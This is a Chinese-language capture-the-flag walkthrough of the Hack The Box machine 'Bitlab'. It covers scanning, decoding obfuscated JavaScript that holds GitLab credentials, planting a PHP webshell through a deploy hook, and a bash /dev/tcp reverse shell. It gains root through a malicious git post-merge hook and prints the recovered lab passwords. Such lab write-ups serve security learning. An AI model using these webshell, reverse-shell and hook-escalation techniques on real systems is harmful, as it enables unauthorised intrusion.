本文做者:是大方子(Ms08067實驗室核心成員)javascript
靶機IP地址:10.10.10.114
Kali IP地址:10.10.14.13php
root@kali:~/HTB/bitlab# nmap ‐sC ‐sV ‐oA bitloab 10.10.10.114 Starting Nmap 7.80 ( https://nmap.org ) at 2020‐01‐22 10:04 CST Nmap scan report for 10.10.10.114 Host is up (0.24s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh‐hostkey: | 2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA) | 256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA) |_ 256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519) 80/tcp open http nginx | http‐robots.txt: 55 disallowed entries (15 shown) | / /autocomplete/users /search /api /admin /profile | /dashboard /projects/new /groups/new /groups/*/edit /users /help |_/s/ /snippets/new /snippets/*/edit | http‐title: Sign in \xC2\xB7 GitLab |_Requested resource was http://10.10.10.114/users/sign_in |_http‐trane‐info: Problem with XML parsing of /evox/about Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 34.44 seconds
目標靶機開放了80 和 22端口html
咱們先從80下手,查看下網頁內容java
先使用gobuster進行掃描python
gobuster dir ‐u "http://10.10.10.114/" ‐w /usr/share/wordlists/dirbuster/directory‐list‐2.3‐medium.txt ‐t 150 ‐s 200,204,301,307,401,403 ‐o bitlab.gobuster
dir: 表示掃描目錄的模式 -w: 使用的字典 -t: 線程數量 -s: 只顯示響應碼爲200,204,301,307,401,403的路徑,由於咱們訪問網頁的時候有些位置是不容許咱們訪問會被302跳轉到登陸界面
對出現的結果逐一查看,發現除了help外其餘的網頁都沒什麼可用信息linux
打開help下的bookmarks.htmlnginx
對這幾個超連接逐一查看,發現前面4個鏈接都只是分別指向hackthebox,Docker,PHP,Node.js的官網並無什麼信息
點擊 【Gitlab Login】 時,發現沒反應,可是出現了javascript代碼。git
咱們打開源碼進行查看web
把javascript代碼複製出來放到https://beautifier.io/進行美化並把裏面的HTML實體去除,獲得下面的結果sql
javascript: (function() { var _0x4b18 = ["\x76\x61\x6C\x75\x65", "\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"]; document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]] = _0x4b18[3]; document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]] = _0x4b18[5]; })()
把_0x4b18裏面的內容翻譯下(十六進制轉字符)
var _0x4b18 = ["value", "user_login", "getElementById", "clave", "user_password","11des0081x"];
那麼下面2行代碼
document[getElementById](user_login)[value] = clave; document[getElementById](user_password)[value] = 11des0081x;
感受是帳號密碼的感受,咱們在登陸界面使用console進行嘗試
帳號密碼直接出現併成功登陸
登陸後有2個庫
在deployer中發現index.php,像是一個掛鉤文件,當Profile存儲庫合併了一個新的提交時就會執行命令
切換到 profile目錄 , 而且執行sudo git pull
<?php $input = file_get_contents("php://input"); $payload = json_decode($input); $repo = $payload‐>project‐>name ?? ''; $event = $payload‐>event_type ?? ''; $state = $payload‐>object_attributes‐>state ?? ''; $branch = $payload‐>object_attributes‐>target_branch ?? ''; if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged') { echo shell_exec('cd ../profile/; sudo git pull'),"\n"; } echo "OK\n";
那麼咱們只要寫入一個webshell併合併到profile庫中,那麼這個index.php就會把咱們的webshell給pull下來
咱們建立一個分支
切換到這個分支,而後在這個分支上建立一個webshell
寫入一個webshell,並提交
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?>
建立合併請求
而後就能夠看到咱們的webshell就成功合併如mstaer庫
此時應該會被以前的掛鉤文件pull到本地,咱們嘗試訪問看看
http://10.10.10.114/profile/dfz.php?cmd=whoami
也能夠經過curl來進行命令執行
curl ‐G "http://10.10.10.114/profile/dfz.php" ‐‐data‐urlencode 'cmd=whoami'
-G:表示發送GET請求 --data--urlencode:對數據進行URL編碼
這樣咱們就拿到了webshell
接下來就是反彈shell
kali先nc先監聽端口
而後用curl反彈,這裏須要注意的是,反彈shell的指令前面還須要用到bash -c
curl ‐G "http://10.10.10.114/profile/dfz.php" ‐‐data‐urlencode "cmd=bash ‐c 'bash ‐i >&/dev/tcp/10.10.14.13/9001 0>&1'"
反彈回來的shell,會出現字符錯誤,沒法編輯vim等問題
輸入下面的指令對反彈回來的shell進行設置,讓後面咱們能夠正常使用
python ‐c "import pty;pty.spawn('/bin/bash')" ctrl + z (後臺掛起shell) stty raw ‐echo fg + 多個回車 stty rows 34 cols 136 export TERM=xterm
這樣咱們反彈回來的shell就能夠像咱們日常用的那個shell同樣了
進入以後咱們看下sudo -l 有沒有能突破的點
這裏咱們能夠看到 www-data用戶能夠不須要密碼
以root的權限調用git pull 命令
這裏咱們能夠用git的hook文件來進行提權
在.git/hooks文件中有一些模板,咱們能夠對照進行編寫
由於sudo運行www-data用戶運行git pull文件
那麼咱們找下運行這個命令的時候會觸發哪一個hook文件
能夠經過下面命令查看
man githooks `` 能夠看到在執行git pull時,會觸發post-merge這個文件 可是在hook文件裏面沒有這個文件,我須要手動建立 可是這個文件夾咱們沒有寫的權限 那麼咱們把這個文件給從新拷貝一份出來 而後在 /tmp/dfz/profile/.git/hooks/中建立一個 post-merge文件 ,並賦予執行權限!/bin/bash
bash ‐c 'bash ‐i >& /dev/tcp/10.10.14.11/9000 0>&1'
那麼咱們接下來作的就是要觸發git pull,在這以前咱們須要在倉庫裏面添加一個新的文件,這樣git pull纔能有效果,不然就有以下的提示 咱們能夠直接添加一個文件併合並 kali進行監聽,而後再進行sudo git pull 而後就獲得root權限 ##0x04 補充 還有另外一種方法get flag 咱們在進入到profile倉庫後能夠看到一個TODO 而後咱們在
http://10.10.10.114/users/clave/snippets
裏面找到postgresql的代碼片斷 能夠看到這段代碼在查詢數據,咱們能夠看下它查詢的是什麼數據
array(1) {
[0]=>
array(3) {
["id"]=> string(1) "1" ["username"]=> string(5) "clave" ["password"]=> string(22) "c3NoLXN0cjBuZy1wQHNz=="
}
}
咱們嘗試登陸到clave 成功! 同時咱們在clave的家目錄下看到一個exe 咱們經過scp下載回來
scp clave@10.10.10.114:RemoteConnection.exe .
使用OD進行調試也能夠看到root的帳號密碼
Qf7]8YSV.wDNF*[7d?j&eD4^